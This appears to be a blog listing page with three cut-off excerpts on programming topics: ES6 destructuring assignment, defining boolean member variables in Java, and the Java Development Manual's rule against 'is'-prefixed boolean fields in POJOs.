ES6 destructuring assignment (object, string, numerical value, Boolean value)

1. Destructuring and assignment of arrays 1.1 Principle ES6 allows you to extract values from arrays and objects and assign values to variables according to certain patterns, which is called destructuring. code example let a = 1; let b = 2; // swap the values of a and b // Destructuring assignment [a, b] = […]

How to define a boolean member variable in java

In daily development, we often need to define Boolean variables in the class. For example, when providing an RPC interface to an external system, we generally define a field to indicate whether the request is successful or not. Regarding the definition of the “whether this request is successful” field, there are actually many kinds of […]

Why is it forbidden to use isSuccess as a Boolean type variable name in the Java Development Manual and the standard for using basic types and packaging types in POJO?

Scene The requirements for the Boolean variable name of POJO in the Java Development Manual are: [Mandatory] Any Boolean variable in the POJO class should not be prefixed with is, otherwise some frame parsing will cause serialization errors. Explanation: In the first article of the table creation agreement in the MySQL specification in this article, […]
